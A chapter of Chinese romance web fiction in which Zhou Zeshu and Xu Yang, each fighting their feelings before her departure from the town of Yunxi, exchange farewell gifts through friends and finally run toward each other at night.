这个前一秒还在想幼稚的人，拍下了杂货店玻璃窗上的笑脸，不光如此，这个上午他还打卡了所有在云溪能找到的笑脸图标。
莫名其妙。
但就是行动了。
……
下午公园里，大爷们在打牌。
见周泽树一个人，张爷爷眯眼瞅瞅他身后，忍不住问。
“泽树啊，那小姑娘呢，她今天没来啊，她不来我这一把手当得太无聊喽。”
王爷爷不服：“嘿！什么一把手？我上一局还是我赢的！”
“那……那你自个儿说说我是不是赢得次数多嘛，我……我怎么不是一把手了！”
“上上局老李也赢了呢！”
“对！那我也要抢这个一把手！”
几位老人家为谁最厉害的争论不休。
“来来来，泽树来打一局！现在这不是有一把手！小姑娘有事，我们下回叫她！”
大榕树下笑声爽朗。
她不会来了。
周泽树只象征性的陪老人家打了一局，借口有事先走了。
和拒绝张超他们的一样。
有什么事呢？
能有什么事。
无非就是把自己关在屋内，设计图纸画不进去，地上散了一大堆纸团。
烦躁。
烦躁透了。
心里被焦躁虚无填满。
周泽树丢下笔。
他一个人待在房间里，将打印的所有照片还有买回来的东西装进手提袋，打算交给张超代为转达。
是的，这是一份临别礼物。
是今天一天的“闲逛”成果。
二十八张笑脸图标，他把它们装进收纳册变成了一本书。小姑娘是一个永远散发着热量的人，没有人会永远开心，成年人的世界都太不容易，那晚她在酒吧趴在吧台上偷偷掉眼泪憋红了眼，周泽树希望至少以后每当看到这些照片的时候，她能够获得短暂的能量吧。
徐漾喜欢吃甜的。他还准备了云溪出名网上买不到的糕点，她爱的早餐店的汤包，没办法带走，所以排除在外。
从云溪到机场要坐两小时车程，有段路不太好，他不知道她会不会有晕车的习惯。所以备了晕车药，听说喝气泡水会好，挑了瓶青桔味的气泡水。
找笑脸图标过程，他还经过了一家娃娃机，有个柜子里发现竟然有阿尼亚盲盒，是徐漾最近狂爱的动漫人物。
方方正正的包装盒不好抓，周泽树废了好大劲才取出来，是拿着放大镜的小侦探造型，不知道她会不会喜欢。
……
太阳一点点下落，时间仿佛进入倒计时。
这个点，他们应该已经聚在一起吃饭。得知徐漾要走的消息，江时雨张超小欣不舍，决定买食材在家里要最后约一顿，当做饯别。
他不明白，怎么就不愿意去了。
归总结底，还是讨厌离别。
不得不承认，他缺乏告别的勇气。
短暂的一个月，他差点要被自我麻痹，人姑娘不过就是出门散心来旅个游，有什么资格将她留下？
她是雨后晦暗世界的彩虹，短时的，明亮的，惶恐将其蒙尘。
不能太自私了。
周泽树庆幸现在还能及时止损。
还来得及。
她是很好的姑娘，会有更适合她的人。他希望她能够收获到一段好的感情。
静静看着太阳渐渐落下，天空变得灰紫，黑夜又来了。
他没开灯，平静而失神地坐着。
书柜抽屉里，躺着一只棕色录音贺卡，拿起来，不自主地手指按下播放。
“铛铛铛——是我，我是徐漾！”
“徐州的徐，荡漾的漾哦。”
……
轻快的声音充满房间。
眼前是她拿着贺卡默默碎碎念愉快又生动的样子。
有那么瞬间，好像回到那个下午她抱着包欣喜跑来他店里，给他介绍新买的神奇的小玩意儿。
周泽树按了暂停。
将贺卡彻底关进抽屉里，往后一靠，难捱地闭上眼，按了按眉心。
荷奶奶站在门口敲了三声，才推门进来。
“我们阿树怎么不开灯。”奶奶将墙上的灯摁开，身后跟着一瘸一拐晃着爱心屁股的七饼。
“奶奶。”周泽树只是叫了一声，坐起来。
荷奶奶是多了解自己孙子的人呢，周泽树在她面前从来都是一副坚强的样子，从小他就懂事，不让人担心，有着超乎同龄孩子的成熟。
落在他身上的担子太重了。
这个家全靠他想办法默默一个人撑起来走到现在，他只是为自己考虑太少了，到渐渐习惯将自己的感受放在最低位。
荷奶奶拿了一只信封放在他手心里：“小漾今早来早餐店来看我了，我想这样东西应该是留给你。”
“我听说她明天就要走了，奶奶不希望你后悔。”
会后悔吗？
周泽树暂时不知道。
只是当荷奶奶关上门，他一个人待在透亮的房间，看到窗外亮起的一盏盏明灯。
柔和的，温暖的，和煦的。
他开始有些动摇。
这种欲望越来越强烈，像是点一根湿透根本不会再燃烧的蜡烛，一次两次，三次……固执地无数次，颤颤巍巍，亮起来了。
告白怎么了？人家拒接怎么了？人姑娘有拒绝的权利。
他只是在她离开之前，告诉她，这里有人喜欢她。
也不是固执要一个答案。
他想说，这里有一个人是被她影响着的，她很好，她值得被喜欢。
当看到那张从信封里倒出来的照片的时候。
答案得到肯定。
他想。
会的。
一定会。
拍立得相纸抓拍的主角是一男一女，徐漾穿着那件宽大的男士大衣，在男生不经意转头时，她回头，比着剪刀手看向他的方向。
背景是海滩，蓝眼泪。
而里面的另一个人，是他自己。
周泽树微怔。
盯着那张照片看了许久许久。
顷刻，笑了。
有什么东西硬生生从坚硬的铠甲里挤进一道口子。
理智被燃烧，噼里啪啦燃成了烟花。
想要见她，想要将她留下，想要听现实里她的声音，想要问她为什么看得是他的方向，想要知道为什么要拍这一张照片……
张超打来电话，语气心奋：“周哥，你猜怎么着，咱们放出的招聘消息，时隔这么久，终于又有回复了！你要不要赶紧上线看看！”
“里屿不缺人。”
“啊？不是一直都缺一位助手吗？还是你提出来的。”
“不面。”周泽树直接说。
张超好像听到椅子刺啦被推开的声音。
……
*
徐漾觉得没什么的。
没什么。
有什么大不了的。
不过是她一直对人家单箭头而已，夜里兴奋写下的计划表，现在她都想给自己播首《凉凉》了。
做了完整的计划最后一天怎么表白，要穿哪件裙子，戴哪样耳饰，约人在什么地方，该说什么话，甚至还补充的一些细枝末节的内容……
边写边冒粉红色泡泡，笑得脸疼，严重怀疑这辈子都没这么浪漫过。
却在没开始之前，就毙了。
不难过是假的。
嘴上和闺蜜说得再好听，还是会郁闷，低沉到不行，浑身都提不起劲。
徐漾一大早将自己收拾好，跟客栈姐姐说要走的事提前到了别，还去了“一家早餐店”看望荷奶奶，最后一次吃了汤包。
她别扭的小心思，猜测了周泽树会不会到店里，特意晃悠避开，选择快歇店的时间段才进去。
哦，她还将那张海边海边拍立得相纸装在信封里给了荷奶奶。
既然只是她单方面的心思，那就没必要独留。
况且，这张照片间接也算两个人的东西。
这一个月，关于云溪，能回忆的太多了，像是经历了一场童话，美好的像梦一样。
笑过，闹过，冒险过，总归要走的。
一直以来她都在将离开这天自动清理忽略，就好像回到学生时代对待假期一样。
不去想会不会结束，能过一天是一天。
因为珍惜，所以不想接受，所以排斥。
临到真的要离开这刻，
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她发现好喜欢云溪，喜欢到竟然已经远远超过桐城。
好在还拥有完整的一天。
至少在走之前，徐漾想用眼睛将这里的风景最后留住。
随便上了一辆公交车。
没有终点站，戴上耳机，想在什么时候下就在时候下。
途径一条街，徐漾看见一家百货店不知是哪个店员这么有意思，一整面整整齐齐分类的的饮料里，插入摆放了橙子味芬达。
错乱，又有规律。
从外面看，是笑脸。
她欣喜拍下照片，点开和周泽树的聊天框。
意识到自己在做什么，徐漾一下子愣住了。
那股难过又翻涌上来。
耳机里的歌还在继续，这首怎么这么悲伤啊。
徐漾紧抿着唇，切了下一曲。
别过头去抽了抽鼻子。
突然决定要把能看到的笑脸都拍下来。
当做临别礼物吧。
……
江时雨张超小欣约了给她送别，要在傍晚聚最后一次餐。
还是在江时雨家的小院子里，他们之前五人一起边看露天电影边烫了火锅。
只是这一回，少了一位。
张超低头绕着吸管塑料袋：“周哥说让我们聚，他就不来了。”
这话一落，小欣忙开口：“诶！茄子肉沫谁报的菜，时雨马上装盘了啊，谁要上？”
“我的我的，茄子肉沫我报名的！”张超察觉到什么，赶紧过去。
徐漾低头认真擦着手机屏幕，没说话。
手机被擦得锃亮。
屏幕里倒影着一张静默的脸，只一会儿，她扯出笑，又恢复了灿烂：“我也来了，粉丝虾是我的。”
四人各报了自己想做的菜名，徐漾的死亡厨艺在客栈姐姐还有荷奶奶那学了几招，终于有拿得出手不是黑暗料理的几样。
忙忙碌碌，边洗菜边谈天说地，好像这只是稀松平常的一天，明天起来，在群里一招呼，有什么好玩的还能再一起。
逃避并不可耻，谁说就一定是件坏事呢？但该面对的总归是要面对的，倒放的沙漏也总有漏尽的时候。
吃到差不多了。
江时雨忽站起来，捏着饮料：“来，小漾我敬你一杯，感谢你包括大家当初愿意一起陪我完成心愿列表，之后我还会继续的，不知道什么时候能再聚，那就祝你勇敢，不论做什么都能拥有所向披靡的勇气，人生无处不相逢，云溪永远欢迎你，欢迎你随时回来。”
所有都挨个。
江时雨坐下，又是张超，胸口被拍得砰砰响：“小徐姐要是桐城有人欺负你，受什么委屈，你只要吱个声，我亲自冲过去干他！”
小欣：“这个场面我不喜欢，但我也还是要讲两句，哪里要是有用得着的地方，别客气，都是自家人。对了，我姑姑在桐城，等我下次过去看她，来找你玩。”
这个春日晚上，花香弥漫，好像连风都是感性的。
天下无不散的宴席。
无论提前做多大的建设，临到最后发现都是徒劳。
徐漾眼睛发酸，但还是哎呀一声，故作嫌弃：“你们一个个，矫情死了，还好咱们今天没喝酒，喝的是普通可乐，你们喝一杯我要喝三杯呢。”
“来，干一个！”说着闷了杯里的可乐，自顾自从袋子里摸了一罐啤酒。
她需要点酒精。
来做最后的决定。
这口酒直到喝到最后，她突然有点明白周泽树今晚为什么不来了。
如果换作是她，她或许也不会来吧。
不想说再见，不想讲离别。
但她突然有点生气。
生气气他，生气气自己。
气他连最后一点机会都不给，气自己临阵脱逃。
江时雨见徐漾一直低着头，轻轻拍了拍她手，好像知道此刻她心里在想什么。
祝你勇敢，不论做什么都有所向披靡的勇气。
徐漾记得刚刚那句祝福。
为什么不说呢？
有什么好畏畏缩缩的。
拒接就拒绝呗，又不会掉块肉。
徐漾不想给自己留遗憾。
临到散场，张超犹犹豫豫看了好几眼，还是走上来，将一个手提袋给她：“小徐姐你别怪周哥，其实我看出来他舍不得你，绝对不是无所谓，这是他给你的东西。”
……
徐漾不知该怎么形容这个晚上。
此时此刻。
她只想竭力奔跑，除了往前跑，至少做不出别的反应了。
风迎面吹着发丝飞扬，柔软蓬松的长发起起伏伏敲打着后背，延至心底。
而她不知道与此同时。
她要去的方向，也有人全力飞奔着向她而来。
男人胸膛起伏，衬衫鼓着风的形状，呼呼呼呼，像极了心跳的频率。
穿过熙熙攘攘的人群，跑过公园，转过高墙，穿过小巷，一路疾驰，啪哧，橙黄色的路灯在水洼里晃动，变得弯弯扭扭，蔷薇花也跟着摇摆。
月亮的清辉倾洒着这小小宇宙。
所有影像都在后退。
后退。
春夜、晚风、呼吸、心跳、汗水……
他们好像天地里的垂直线，直到四目相对的那一刻。
这个世界总会有些心有灵犀。